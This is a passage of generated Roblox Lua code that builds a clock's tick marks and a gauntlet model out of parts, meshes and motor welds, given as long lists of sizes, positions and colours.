Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.2555008, 30.2650127, 5.17792177, 1, 6.16029894e-10, 1.96184999e-07, -1.31442192e-07, -1, 2.49630681e-08, 1.06778039e-07, 1.81984518e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 1, -8.74227766e-08, 1.36580354e-07, -4.34033751e-08, -1, 1.13001981e-07, 1.66382677e-07, -4.40194583e-08, -1),C1 = CFrame.new(-0.00999975204, 0, 0.200000763, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.2287064, 30.16502, 5.17792177, 0.866025388, -0.499999911, 1.90328791e-07, -0.5, -0.866025388, 3.10737747e-09, 1.89320957e-07, 1.26069907e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 0.866025388, -0.49999997, 1.80639262e-07, -0.49999994, -0.866025388, 5.14281169e-08, 1.60526454e-07, -6.58751489e-08, -1),C1 = CFrame.new(-0.00999975204, -0.0999927521, 0.173206329, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.1554985, 30.0918102, 5.17792177, 0.49999997, -0.866025448, 1.74329301e-07, -0.866025448, -0.499999881, -1.28921052e-08, 2.3284791e-07, 3.63749422e-08, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 0.49999994, -0.866025448, 1.88008443e-07, -0.866025448, -0.499999911, -2.39258888e-08, 1.44526979e-07, -8.18746315e-08, -1),C1 = CFrame.new(-0.00999975204, -0.173202515, 0.0999984741, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.0555, 30.0650139, 5.17792177, 7.61139134e-08, -1, 1.52473604e-07, -1, 5.59442945e-08, -1.87483131e-08, 2.25695914e-07, -6.30666293e-08, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 3.20945119e-08, -1, 1.56713384e-07, -1, 1.19248806e-08, -9.28689516e-08, 1.22671281e-07, -8.77308395e-08, -1),C1 = CFrame.new(-0.00999975204, -0.199998856, 0, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(33.9555016, 30.0918102, 5.17792177, -0.499999851, -0.866025448, 1.3061792e-07, -0.866025448, 0.49999994, -1.28921052e-08, 1.69781302e-07, -1.45609533e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, -0.499999881, -0.866025448, 9.51395123e-08, -0.866025448, 0.499999911, -1.36927852e-07, 1.00815591e-07, -8.18746315e-08, -1),C1 = CFrame.new(-0.00999975204, -0.173202515, -0.0999984741, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(33.8822937, 30.16502, 5.17792177, -0.866025329, -0.500000298, 1.14618437e-07, -0.500000119, 0.866025329, 3.10737036e-09, 8.00863873e-08, -1.89136514e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, -0.866025329, -0.500000179, 1.97855385e-08, -0.500000238, 0.866025329, -1.44297076e-07, 8.48161079e-08, -6.5875156e-08, -1),C1 = CFrame.new(-0.00999975204, -0.0999927521, -0.173206329, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(33.8554993, 30.2650127, 5.17792177, -1, 8.68067431e-08, 1.08762222e-07, 2.18864955e-07, 1, 2.49630823e-08, -1.93552623e-08, -1.81984504e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, -1, 1.74845553e-07, -4.91575847e-08, 1.30826152e-07, 1, -1.13001974e-07, 7.89598928e-08, -4.40194476e-08, -1),C1 = CFrame.new(-0.00999975204, 0, -0.200000763, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) Gauntlet = New("Model",Char,"Gauntlet",{}) Main = New("Part",Gauntlet,"Main",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.10000145, 0.485000312, 1.04000056),CFrame = CFrame.new(34.4499779, 31.8724632, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(33.8949776, 30.829998, -6.75732088, 1, 0, 0, 0, -1, 0, 0, 0, -1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, -1),C1 = CFrame.new(-0.555000305, -1.04246521, 0.128534794, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(33.8949776, 31.3549976, -7.00732088, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(-0.555000305, -0.517465591, -0.121465206, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(33.8949776, 30.829998, -7.00732088, -1, 0, 0, 0, -1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1),C1 = CFrame.new(-0.555000305, -1.04246521, -0.121465206, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(33.8949776, 31.3549976, -6.75732088, -1, 0, 0, 0, 1, 0, 0, 0, -1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, -1),C1 = CFrame.new(-0.555000305, -0.517465591, 0.128534794, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.12269342, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4549828, 32.3474617, -7.20585442, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.00500488281, 0.474998474, -0.319998741, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.0499763, 31.3549976, -6.38231945, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(-0.400001526, -0.517465591, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.2999763, 31.3549976, -6.38231945, 0, 0, -1, 0, 1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0),C1 = CFrame.new(-0.150001526, -0.517465591, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.0499763, 30.829998, -6.38231945, 0, 0, 1, 0, -1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, -1, 0, 1, 0, 0),C1 = CFrame.new(-0.400001526, -1.04246521, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.2999763, 30.829998, -6.38231945, 0, 0, -1, 0, -1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, -1, 0, -1, 0, 0),C1 = CFrame.new(-0.150001526, -1.04246521, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.0499763, 30.829998, -7.3823185, 0, 0, 1, 0, -1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, -1, 0, 1, 0, 0),C1 = CFrame.new(-0.400001526, -1.04246521, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.5499687, 31.3549976, -7.3823185, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.0999908447, -0.517465591, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.7999687, 31.3549976, -7.3823185, 0, 0, -1, 0, 1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0),C1 = CFrame.new(0.349990845, -0.517465591, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.0499763, 31.3549976, -7.3823185, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(-0.400001526, -0.517465591, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.5499687, 30.829998, -7.3823185, 0, 0, 1, 0, -1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, -1, 0, 1, 0, 0),C1 = CFrame.new(0.0999908447, -1.04246521, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.7999687, 30.829998, -7.3823185, 0, 0, -1, 0, -1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, -1, 0, -1, 0, 0),C1 = CFrame.new(0.349990845, -1.04246521, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.2999763, 31.3549976, -7.3823185, 0, 0, -1, 0, 1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0),C1 = CFrame.new(-0.150001526, -0.517465591, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.2999763, 30.829998, -7.3823185, 0, 0, -1, 0, -1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, -1, 0, -1, 0, 0),C1 = CFrame.new(-0.150001526, -1.04246521, -0.496462822, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(35.004982, 30.829998, -7.02732086, -1, 0, 0, 0, -1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1),C1 = CFrame.new(0.55500412, -1.04246521, -0.141465187, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(35.004982, 30.829998, -6.77732086, 1, 0, 0, 0, -1, 0, 0, 0, -1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, -1),C1 = CFrame.new(0.55500412, -1.04246521, 0.108534813, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(35.004982, 31.3549976, -7.02732086, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.55500412, -0.517465591, -0.141465187, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(35.004982, 31.3549976, -6.77732086, -1, 0, 0, 0, 1, 0, 0, 0, -1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, -1),C1 = CFrame.new(0.55500412, -0.517465591, 0.108534813, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.5499687, 30.829998, -6.38231945, 0, 0, 1, 0, -1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, -1, 0, 1, 0, 0),C1 = CFrame.new(0.0999908447, -1.04246521, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.650000572, 0.250000119),CFrame = CFrame.new(34.7999687, 30.829998, -6.38231945, 0, 0, -1, 0, -1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, -1, 0, -1, 0, 0),C1 = CFrame.new(0.349990845, -1.04246521, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.5499687, 31.3549976, -6.38231945, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.0999908447, -0.517465591, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Transparency = 0.75,Transparency = 0.75,Size = Vector3.new(0.0500000007, 0.400000274, 0.250000119),CFrame = CFrame.new(34.7999687, 31.3549976, -6.38231945, 0, 0, -1, 0, 1, 0, 1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0),C1 = CFrame.new(0.349990845, -0.517465591, 0.503536224, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Maroon"),Size = Vector3.new(1.10000145, 0.115000226, 1.04000056),CFrame = CFrame.new(34.4499779, 32.4774742, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.458824, 0, 0),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0, 0.605010986, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Hitbox = New("Part",Gauntlet,"Hitbox",{BrickColor = BrickColor.new("Black"),Transparency = 1,Transparency = 1,Size = Vector3.new(1.1, 2.045, 1.04),CFrame = CFrame.new(34.4499779, 31.8524494, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) mot = New("Motor",Hitbox,"mot",{Part0 = Hitbox,Part1 = Main,C1 = CFrame.new(0, -0.0200138092, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Maroon"),Size = Vector3.new(1.10000145, 0.115000226, 1.04000056),CFrame = CFrame.new(34.4499779, 32.1474686, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.458824, 0, 0),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0, 0.275005341, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.15269339, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4499893, 31.4374714, -6.58084679, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C1 = CFrame.new(1.14440918e-05, -0.434991837, 0.305008888, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Band = New("Part",Gauntlet,"Band",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.10000145, 0.235000312, 1.04000056),CFrame = CFrame.new(34.4499779, 31.3974819, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) mot = New("Motor",Band,"mot",{Part0 = Band,Part1 = Main,C1 = CFrame.new(0, -0.474981308, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.15269339, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4499893, 31.4374714, -6.88085127, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C1 = CFrame.new(1.14440918e-05, -0.434991837, 0.00500440598, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.12269342, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4549828, 31.4374638, -7.20585442, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.00500488281, -0.434999466, -0.319998741, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = 